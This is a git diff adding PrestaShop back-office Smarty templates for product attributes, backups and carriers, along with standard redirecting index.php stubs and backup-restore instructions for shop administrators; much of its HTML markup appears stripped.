+* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+ +{if $generate}
{l s='%d product(s) successfully created.' sprintf=$combinations_size}
{/if} + +
+
+ {l s='Attributes generator'} +
+ +
+

+ + +

+
+
+
+
{l s='The Combinations Generator is a tool that allows you to easily create a series of combinations by selecting the related attributes. For example, if you\'re selling t-shirts in three different sizes and two different colors, the generator will create six combinations for you.'}
+

{l s='You\'re currently generating combinations for the following product:'} {$product_name|escape:'htmlall':'UTF-8'}

+

{l s='Step 1: On the left side, select the attributes you want to use (Hold down the "Ctrl" key on your keyboard and validate by clicking on "Add")'}

+
+ {foreach $attribute_groups as $k => $attribute_group} + {if isset($attribute_js[$attribute_group['id_attribute_group']])} + + + + + + + + + + + + {if isset($attributes[$attribute_group['id_attribute_group']])} + {foreach $attributes[$attribute_group['id_attribute_group']] AS $k => $attribute} + + {/foreach} + {/if} + {/if} + {/foreach} +
+

{l s='Select a default quantity, and reference, for each combination the generator will create for this product.'}

+ + + + + + + + + +
{l s='Default Quantity:'}
{l s='Default Reference:'}
+

{l s='Please click on "Generate these Combinations"'}

+

+
+
+
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/attribute_generator/index.php b/BO/themes/default/template/controllers/attribute_generator/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/attribute_generator/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes/helpers/form/form.tpl b/BO/themes/default/template/controllers/attributes/helpers/form/form.tpl new file mode 100755 index 0000000..365736b --- /dev/null +++ b/BO/themes/default/template/controllers/attributes/helpers/form/form.tpl @@ -0,0 +1,85 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} + +{block name="label"} + {if $input.type == 'color'} +
+ {/if} + {$smarty.block.parent} +{/block} + +{block name="field"} + {if $input.name == 'current_texture'} +
+ {if isset($imageTextureExists) && $imageTextureExists} + {l s='Texture'} + {else} + {l s='None'} + {/if} +
+ {else} + {$smarty.block.parent} + {/if} + {if $input.name == 'name'} + {hook h="displayAttributeForm" id_attribute=$form_id} + {/if} +{/block} + +{block name="script"} + var attributesGroups = {ldelim}{$strAttributesGroups}{rdelim}; + + var displayColorFieldsOption = function() { + var val = $('#id_attribute_group').val(); + if (attributesGroups[val]) + $('#colorAttributeProperties').show(); + else + $('#colorAttributeProperties').hide(); + }; + + displayColorFieldsOption(); + + $('#id_attribute_group').change(displayColorFieldsOption); + + var shop_associations = {$fields[0]['form']['shop_associations']}; + var changeAssociationGroup = function() + { + var id_attribute_group = $('#id_attribute_group').val(); + $('.input_shop').each(function(k, item) + { + var id_shop = $(item).attr('shop_id'); + if (typeof shop_associations[id_attribute_group] != 'undefined' && $.inArray(id_shop, shop_associations[id_attribute_group]) > -1) + $(item).attr('disabled', false); + else + { + $(item).attr('disabled', true); + $(item).attr('checked', false); + } + }); + }; + $('#id_attribute_group').change(changeAssociationGroup); + changeAssociationGroup(); +{/block} diff --git a/BO/themes/default/template/controllers/attributes/helpers/form/index.php b/BO/themes/default/template/controllers/attributes/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/attributes/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes/helpers/index.php b/BO/themes/default/template/controllers/attributes/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/attributes/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes/helpers/list/index.php b/BO/themes/default/template/controllers/attributes/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/attributes/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes/helpers/list/list_content.tpl b/BO/themes/default/template/controllers/attributes/helpers/list/list_content.tpl new file mode 100755 index 0000000..49402f3 --- /dev/null +++ b/BO/themes/default/template/controllers/attributes/helpers/list/list_content.tpl @@ -0,0 +1,136 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if count($list)} +{foreach $list AS $index => $tr} + + + {if {$has_bulk_actions}} + {if isset($list_skip_actions.delete)} + {if !in_array($tr.$identifier, $list_skip_actions.delete)} + + {/if} + {else} + + {/if} + {/if} + + {foreach $fields_display AS $key => $params} + + {else} + > + {/if} + {if isset($params.prefix)}{$params.prefix}{/if} + {if isset($params.color) && isset($tr[$params.color])} + + {/if} + {if isset($params.active)} + {$tr.$key} + {elseif isset($params.activeVisu)} + {if $tr.$key}{l s='Enabled'}{else}{l s='Disabled'}{/if} + {elseif isset($params.position)} + {if $order_by == 'position' && $order_way != 'DESC'} + + {l s='Down'} + + + + {l s='Up'} + + {else} + {$tr.$key.position + 1} + {/if} + {elseif isset($params.image)} + {$tr.$key} + {elseif (isset($params.icon))} + {$tr[$key]} + {elseif isset($params.price)} + {$tr.$key} + {elseif isset($params.float)} + {$tr.$key} + {elseif isset($params.type) && $params.type == 'date'} + {$tr.$key} + {elseif isset($params.type) && $params.type == 'datetime'} + {$tr.$key} + {* If type is 'editable', an input is created *} + {elseif isset($params.type) && $params.type == 'editable' && isset($tr.id)} + + {elseif isset($params.callback)} + {$tr.$key} + {elseif isset($tr.$key) && $key == 'color'} + {if isset($tr.$key['texture']) && $tr.$key['texture']|count_characters > 1} + + {else} +
+ {/if} + {elseif isset($tr.$key)} + {$tr.$key|escape:'htmlall':'UTF-8'} + {else} + -- + {/if} + {if isset($params.suffix)}{$params.suffix}{/if} + {if isset($params.color) && isset($tr.color)} +
+ {/if} + + {/foreach} + + {if $shop_link_type} + + {if isset($tr.shop_short_name)} + {$tr.shop_short_name} + {else} + {$tr.shop_name} + {/if} + {/if} + {if $has_actions} + + {foreach $actions AS $action} + {if isset($tr.$action)} + {$tr.$action} + {/if} + {/foreach} + + {/if} + +{/foreach} +{else} + {l s='No items found'} +{/if} + diff --git a/BO/themes/default/template/controllers/attributes/index.php b/BO/themes/default/template/controllers/attributes/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/attributes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes_groups/helpers/form/form.tpl b/BO/themes/default/template/controllers/attributes_groups/helpers/form/form.tpl new file mode 100755 index 0000000..8de8a54 --- /dev/null +++ b/BO/themes/default/template/controllers/attributes_groups/helpers/form/form.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} + +{block name="field"} + {$smarty.block.parent} + {if $input.name == 'public_name'} + {hook h="displayAttributeGroupForm" id_attribute_group=$form_id} + {/if} +{/block} diff --git a/BO/themes/default/template/controllers/attributes_groups/helpers/form/index.php b/BO/themes/default/template/controllers/attributes_groups/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/attributes_groups/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes_groups/helpers/index.php b/BO/themes/default/template/controllers/attributes_groups/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/attributes_groups/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes_groups/helpers/list/index.php b/BO/themes/default/template/controllers/attributes_groups/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/attributes_groups/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes_groups/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/attributes_groups/helpers/list/list_header.tpl new file mode 100755 index 0000000..2765181 --- /dev/null +++ b/BO/themes/default/template/controllers/attributes_groups/helpers/list/list_header.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_header.tpl"} +{block name=leadin} + +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/attributes_groups/index.php b/BO/themes/default/template/controllers/attributes_groups/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/attributes_groups/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/backup/download/index.php b/BO/themes/default/template/controllers/backup/download/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/backup/download/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/backup/download/view.tpl b/BO/themes/default/template/controllers/backup/download/view.tpl new file mode 100755 index 0000000..3a3fe6f --- /dev/null +++ b/BO/themes/default/template/controllers/backup/download/view.tpl @@ -0,0 +1,73 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + +
+ {l s='Download'} +

+ + {l s='Download the backup file'} ({$backup_weight}{l s='MB'})

+ {l s='Tip: You can also download this file over to your FTP. Backup files are located in the "admin/backups" directory.'}

+


+ +
+

{l s='Disclaimer before creating a new backup'}

+
    +
  1. {l s='PrestaShop is not responsible for your database, its backups and/or recovery.'}
  2. +
  3. {l s='PrestaShop is open-source software. You are using it at your own risk under the license agreement.'}
  4. +
  5. {l s='You should backup your data on a regular basis (both files and database).'}
  6. +
  7. {l s='This function only backs up your database, not your files.'}
  8. +
  9. {l s='By default, your existing database tables will be dropped during the backup recovery (see "Backup options" below).'}
  10. +
  11. {l s='Always verify the quality and integrity of your backup files!'}
  12. +
  13. {l s='Always verify that your backup files are complete, up-to-date and valid, even if you had a success message appear during the backup process.'}
  14. +
  15. {l s='Always check your data.'}
  16. +
  17. {l s='Never restore a backup on a live site.'}
  18. +
+
+ +
+

{l s='How to restore a database backup in 10 easy steps:'}

+
    +
  1. {l s='Set "Enable Shop" to "No" in the "Maintenance" page under the "Preferences" menu.'}
  2. +
  3. {l s='Download the backup from the list below or from your FTP server (in the folder "admin/backups").'}
  4. +
  5. {l s='Check the backup integrity: Look for errors, incomplete file, etc... Be sure to verify all of your data.'}
  6. +
  7. {l s='Please ask your hosting provider for "phpMyAdmin" access to your database.'}
  8. +
  9. {l s='Connect to "phpMyAdmin" and select your current database.'}
  10. +
  11. {l s='Unless you enabled the "Drop existing tables" option, you must delete all tables from your current database.'}
  12. +
  13. {l s='At the top of the screen, please select the "Import" tab'}
  14. +
  15. {l s='Click on the "Browse" button and select the backup file from your hard drive.'}
  16. +
  17. {l s='Check the maximum filesize allowed (e.g. Max: 16MB)'}
    {l s='If your backup file exceeds this limit, contact your hosting provider for assistence. '}
  18. +
  19. {l s='Click on the "Go" button and please wait patiently for the import process to conclude. This may take several minutes.'}
  20. +
+
+ +
+ +{/block} + + diff --git a/BO/themes/default/template/controllers/backup/helpers/index.php b/BO/themes/default/template/controllers/backup/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/backup/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/backup/helpers/list/index.php b/BO/themes/default/template/controllers/backup/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/backup/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/backup/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/backup/helpers/list/list_header.tpl new file mode 100755 index 0000000..ac3579c --- /dev/null +++ b/BO/themes/default/template/controllers/backup/helpers/list/list_header.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_header.tpl"} + +{block name="override_header"} + + {if isset($backup_url) && isset($backup_weight)} +
+ {l s='Download'} +

+ + {l s='Download the backup file'} ({$backup_weight}{l s='MB'})

+ {l s='Tip: You can also download this file over to your FTP. Backup files are located in the "admin/backups" directory.'}

+


+ {/if} + +
+

{l s='Disclaimer before creating a new backup'}

+
    +
  1. {l s='PrestaShop is not responsible for your database, its backups and/or recovery.'}
  2. +
  3. {l s='PrestaShop is open-source software. You are using it at your own risk under the license agreement.'}
  4. +
  5. {l s='You should backup your data on a regular basis (both files and database).'}
  6. +
  7. {l s='This function only backs up your database, not your files.'}
  8. +
  9. {l s='By default, your existing database tables will be dropped during the backup recovery (see "Backup options" below).'}
  10. +
  11. {l s='Always verify the quality and integrity of your backup files!'}
  12. +
  13. {l s='Always verify that your backup files are complete, up-to-date and valid, even if you had a success message appear during the backup process.'}
  14. +
  15. {l s='Always check your data.'}
  16. +
  17. {l s='Never restore a backup on a live site.'}
  18. +
+
+ +
+ +
+ +
+ +
+

{l s='How to restore a database backup in 10 easy steps:'}

+
    +
  1. {l s='Set "Enable Shop" to "No" in the "Maintenance" page under the "Preferences" menu.'}
  2. +
  3. {l s='Download the backup from the list below or from your FTP server (in the folder "admin/backups").'}
  4. +
  5. {l s='Check the backup integrity: Look for errors, incomplete file, etc... Be sure to verify all of your data.'}
  6. +
  7. {l s='Please ask your hosting provider for "phpMyAdmin" access to your database.'}
  8. +
  9. {l s='Connect to "phpMyAdmin" and select your current database.'}
  10. +
  11. {l s='Unless you enabled the "Drop existing tables" option, you must delete all tables from your current database.'}
  12. +
  13. {l s='At the top of the screen, please select the "Import" tab'}
  14. +
  15. {l s='Click on the "Browse" button and select the backup file from your hard drive.'}
  16. +
  17. {l s='Check the maximum filesize allowed (e.g. Max: 16MB)'}
    {l s='If your backup file exceeds this limit, contact your hosting provider for assistence. '}
  18. +
  19. {l s='Click on the "Go" button and please wait patiently for the import process to conclude. This may take several minutes.'}
  20. +
+
+ +
+ +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/backup/helpers/view/index.php b/BO/themes/default/template/controllers/backup/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/backup/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/backup/helpers/view/view.tpl b/BO/themes/default/template/controllers/backup/helpers/view/view.tpl new file mode 100755 index 0000000..530de78 --- /dev/null +++ b/BO/themes/default/template/controllers/backup/helpers/view/view.tpl @@ -0,0 +1,40 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + +
{l s='Beginning the download ...'}
+ +

{l s='Backup files should automatically download.'}

+ +

{l s='If not,'} {l s='please click here!'}

+ + + +{/block} + + diff --git a/BO/themes/default/template/controllers/backup/index.php b/BO/themes/default/template/controllers/backup/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/backup/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/carriers/helpers/form/form.tpl b/BO/themes/default/template/controllers/carriers/helpers/form/form.tpl new file mode 100755 index 0000000..964c2bd --- /dev/null +++ b/BO/themes/default/template/controllers/carriers/helpers/form/form.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name=script} + // At the loading + ($("input[name='is_free']:checked").val() == 0) ? $('#shipping_costs_div').show('toggle'): $('#shipping_costs_div').hide(); + + $("input[name='is_free']").live('change', function() {ldelim} + ($("input[name='is_free']:checked").val() == 0) ? $('#shipping_costs_div').show('toggle'): $('#shipping_costs_div').hide(); + {rdelim}); +{/block} + +{block name="label"} + {if $input.type == 'select' && $input.name == 'id_tax_rules_group'} +
+ {/if} + {$smarty.block.parent} +{/block} + +{block name="field"} + {$smarty.block.parent} + {if $input.type == 'select' && $input.name == 'range_behavior'} +
